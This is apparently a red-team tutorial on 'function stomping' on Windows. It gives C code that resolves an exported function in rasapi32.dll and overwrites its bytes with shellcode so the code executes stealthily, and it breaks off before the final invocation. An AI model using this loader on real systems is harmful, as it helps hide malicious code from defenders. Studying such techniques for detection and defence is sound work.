Code execution by overwriting a function with shellcode
Function Stomping
Functions stomping is a similar technique to module stomping (discussed in previous post), the difference is that instead of overwriting the .text section of a loaded module, we will only stomp a single function. this makes our loader a bit more stealthy. the overall process is much like module stomping, but instead of targeting a DLL, we are targeting one of the functions exported by a DLL.
Since the content of the function is going to be overwritten by our shellcode, we should avoid using popular functions as it might crash our process, so we should use a less common function. function stomping has the same advantage of module stomping and mapping injection techniques, it saves us from memory allocation risks.
As with module stomping, in function stomping we have to choose a function that is large enough to hold our shellcode.
Here is a breakdown of the execution flow for this technique:
Dynamically loading (or statically linking) the DLL that contains the target function
Retrieving function address using GetProcAddress (no need for this if statically linked)
Overwriting function bytes with shellcode
Calling the target function to invoke the shellcode
Loading the DLL
As always, we can use LoadLibraryA/W or statically link the library to our binary at compile time using pragma compiler directives. if we load the DLL dynamically, we have to retrieve the address of target function manually. if the library is statically linked, the address of function is known at run-time.
In these examples, i'm using a lesser used DLL (rasapi32.dll) which is used for managing remote access connections. the target function (RasEnumEntries) is used to lists all RAS (Remote Access Service) entries.
Statically Linking:
#include <ras.h>
#include <raserror.h>
// Link with the rasapi32.lib statically
#pragma comment(lib, "rasapi32.lib")
// get the address of the statically linked RasEnumEntries function
void* targetFunction = (void*)&RasEnumEntriesA;
Dynamic Linking:
// dynamically link rasapi32.dll
HMODULE hRasapi32 = LoadLibraryA("Rasapi32.dll");
if (!hRasapi32) {
printf("[-] Failed to load Rasapi32.dll\n");
return -1;
}
printf("[+] Loaded Rasapi32.dll at: %p\n", hRasapi32);
// ger the address of dynamically linked RasEnumEntries function
FARPROC targetFunction = GetProcAddress(hRasapi32, "RasEnumEntriesA");
if (!targetFunction) {
printf("[-] Failed to resolve RasEnumEntriesA\n");
FreeLibrary(hRasapi32);
return -1;
}
printf("[+] RasEnumEntriesA located at: %p\n", targetFunction);
Checking Function Size (Optional)
The function size is not known or documented anywhere, so an easy way to check if a function is suitable for our shellcode size, is to calculate the function size before stomping. here is a simple code that does that:
// calculate size of a function
SIZE_T GetFunctionSize(FARPROC function) {
MEMORY_BASIC_INFORMATION mbi;
SIZE_T functionSize = 0;
if (VirtualQuery(function, &mbi, sizeof(mbi))) {
BYTE* current = (BYTE*)function;
BYTE* end = (BYTE*)mbi.BaseAddress + mbi.RegionSize;
// scan until we reach the end of the memory region or encounter a return instruction
while (current < end) {
if (*current == 0xC3 || *current == 0xC2) { // check for 'ret' or 'ret imm16' opcode
functionSize = (SIZE_T)(current - (BYTE*)function + 1);
break;
}
current++;
}
}
return functionSize;
}
SIZE_T functionSize = GetFunctionSize(targetFunction);
printf("Function size: %zu bytes\n", functionSize);
// check if the function is large enough to hold the shellcode
if (functionSize < sizeof(shellcode)) {
printf("Target function is too small to hold the shellcode (%zu bytes needed)\n", sizeof(shellcode));
FreeLibrary(hRasapi32);
return -1;
}
The GetFunctionSize takes the address of target function and uses the VirtualQuery function to retrieve information about the region where the function resides.
it fills the mbi structure with details like the base address and region size. as the MSDN explains the third parameter:
[in] dwLength -> The size of the buffer pointed to by the lpBuffer parameter, in bytes.
After that, we have the base address of the function (mbi.BaseAddress) and the memory region size (mbi.RegionSize). with these two, we can set a start address (BYTE* current) and a boundary (BYTE* end) to scan the instructions in function memory until we hit a 'ret' or 'ret imm16' opcode which indicates the end of function instructions. this way we can calculate the size of function and see if it can hold the shellcode.
This approach is not necessary if you are targeting a function that you are sure is not used any time in your process. it's just a little useful technique to know about :)
Stomping the Function
This step is exactly the same as module stomping. first we flip the function memory protection to RW, then we copy the shellcode to that memory address and finally, set the protection back to RX:
DWORD oldProtect;
if (!VirtualProtect((LPVOID)targetFunction, sizeof(shellcode), PAGE_EXECUTE_READWRITE, &oldProtect)) {
printf("Failed to change memory protection\n");
FreeLibrary(hRasapi32);
return -1;
}
memcpy((void *)targetFunction, shellcode, sizeof(shellcode));
printf("Shellcode written to target function\n");
VirtualProtect((LPVOID)targetFunction, sizeof(shellcode), oldProtect, &oldProtect);
Executing the Function
The last step is to simply call the target function using a function pointer to invoke our shellcode: